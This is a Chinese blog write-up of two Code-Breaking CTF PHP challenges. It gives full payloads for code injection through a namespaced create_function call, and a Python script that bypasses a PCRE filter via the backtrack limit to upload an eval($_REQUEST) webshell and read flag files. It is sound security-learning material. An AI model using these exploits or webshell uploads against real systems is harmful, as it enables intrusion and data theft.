代码审计知识星球——easy-function&pcrewaf

2020-01-15  本文已影响0人  byc_404

原本看到代码审计知识星球的内容时就很感兴趣,准备自己本地复现的。结果docker跟docker-compose下好了后郁师傅直接公网上搭好了四道easy难度的审计题目叫我们做hhh。

codebreaking的网站
https://code-breaking.com/
参考阅读了sky一叶飘零师傅的几篇博文:
https://skysec.top/2019/03/10/2018-Code-Breaking-1-function/

源码跟dockerfile可以在github上下,我自己没有docker知识储备的情况下也能依葫芦画瓢在本地搭好,大家也都可以试试自己做做呀。

function

第一道题目,php代码审计之function。
先放源码:

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}
?>

老实说第一题确实难到我了,开始前两行差点以为是代码出错了......后来了解到??三元运算符的存在,也就是说:

$action = $_GET['action'] ?? '';

等价于

$action = $_GET['action'] ? $_GET['action'] :'';

改成双目运算符就好看多了,作用也就和我们原来的isset()差不多,有输入取输入,否则为空。

然后就是正则部分了

preg_match('/^[a-z0-9_]*$/isD

其中修饰符

/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[ \f\n\r\t\v]
/D 如果使用$限制结尾字符,则不允许结尾有换行;

不得不说实在是完备。数字,字母,下划线都过滤了,空格换行也没了,根本不知道有什么能够匹配的。如果从preg_match()的角度来讲,我们熟悉的是%0a开头,这样可以使preg_match()得结果判断为真。但此处为了达成命令执行的目的,必须使preg_match()判断为假才能到下面的else语句里面。所以,应该想着怎么顺应这个思路走下去。

这时候就得靠想的了。可以选择用burpsuite去爆破,但是我好像没有这样的字典......所以参考sky师傅改的脚本:

import requests

#url='http://139.199.203.253:8087/?action=&arg='
for i in range(1,256):
    tmp = hex(i)[2:]
    if len(tmp) < 2:
        tmp = '0' + hex(i)[2:]
    tmp = '%' + tmp
    url='http://139.199.203.253:8087/?action='+tmp+'var_dump&arg=123'
    r=requests.get(url=url)
    if '123' in r.text:
        print(r.text)
        print(tmp)
        break

FUZZ出来发现%5c可以直接绕过,而%5c就是\,为什么%5c可以绕过呢?p牛解释如下:

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。
普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;
而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

看了后感觉一知半解,于是又看看其他的解释,大概明白了:


调用的相当于是全局的函数

那我们就相当于解决了第一个问题,下面来想想如何解决命令执行第二步:$action()应当是两个参数的函数。
发现sky师傅写的php代码注入相当全面啊
https://skysec.top/2018/03/09/php-command%20or%20code-injection-summary/
于是知道了create_function这一函数,稍微了解了其原理:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

相当于

function test($a,$b)
{
    return "ln($a) + ln($b) = " . log($a * $b);
}

那对本题的$action('', $arg),假如令arg=echo ('Hello');}phpinfo();/*相当于

function test($a,$b){
  echo('Hello');
}phpinfo();/*

即可执行phpinfo()命令。

于是尝试使用system('ls')看看目录,果然发现system()被禁止了。 system('ls')

同样的还有exec()等等,实际上后来看源码里的disablefunction有:

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

基本全过滤了嘛......好在通常print_r()与scandir()不会被过滤,昨天刚用过,于是试一下。在本目录看到index.php,在上级目录看到flag。
payload:

/?action=%5ccreate_function&arg=return%20%222333%22;}print_r(scandir(%27..%27));/*
/?action=%5ccreate_function&arg=return%20"2333";}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*
flag

pcrewaf

第二道题则是正则回溯攻击,实际上之前也了接过这种方式,但是一直没有遇到相关题目......先看源码

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 1

题目的pcre已经告诉我们了重点在于正则上。实际上从源码可以看出,有一个用于判断是否是php代码的函数。而整体流程允许用户上传文件,之后被file_get_contents()读取,如果文件内容有php代码就失败。否则创建目录,并生成保存我们的文件。
既然如此,我们的最终目的当然是通过上传文件getshell了。而想要getshell,过正则是必须的。因此重心还是放在绕过正则上。
那么这个正则如何通过呢

preg_match('/<\?.*[(`;?>].*/is', $data)

首先就看到它匹配了<,? 这样的常规php开头,那么我们能否使用<%=或者<script language="php">绕过呢?貌似因为php版本号所以不行。那要如何绕过这一正则吃成为了难题。
于是找到p牛本人的文章:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
其中提到NFA(非确定性有限状态自动机)的部分就不表了,了解到的正则匹配原来存在回溯问题。对题目已有正则,和测试语句,以及sublime的正则匹配模式(ctrl+h开启)

<?php phpinfo(); ?>;//aaaaaaaaaa

正则匹配到<?时只需要


<?

而之后


<?.*

也就是说 .*就已经把后面的输入语句全部匹配完了,但是正则还没有结束,这时继续匹配[(`;?>]时,它就会开始回溯,显然//aaaaaaaaaa是匹配不上这一表达式中的符号的,那么正则就会一直回溯,直到匹配到;分号才能继续下去。
而这居然也可以当做漏洞利用!因为这一回溯的次数是有限的,所以如果回溯超过上限......preg_match()就会返回false,也就绕过了正则。
(奇淫技巧大概如此吧,真的太神奇了。)

那么利用就很清晰了,我们把//aaa多整点就可以打破回溯上限攻击。脚本如下(sky师傅的只适用python2吧,我小改了一下):

import requests
from io import BytesIO

url='http://139.199.203.253:8088/'
payload='<?php eval($_REQUEST[byc]);//'+'a' * 1000000
files = {
  'file':BytesIO(payload.encode('utf-8'))
}

r=requests.post(url=url,files=files,allow_redirects=False)
path=r.headers['Location']
url+=path
data = {
    #'byc':"print_r(scandir('../../../'));"
     'byc':"var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));"
}
r=requests.post(url,data)
print(r.text)

扫到上上上级拿到目录,之后直接读取即可


flag

不得不说这些题目技巧性非常强,也很长见识。看似可能的waf存在无限的可能。这就是安全人的思考角度吧。
还有两道明天写吧,明天就回武汉了hhh

上一篇 下一篇

猜你喜欢

热点阅读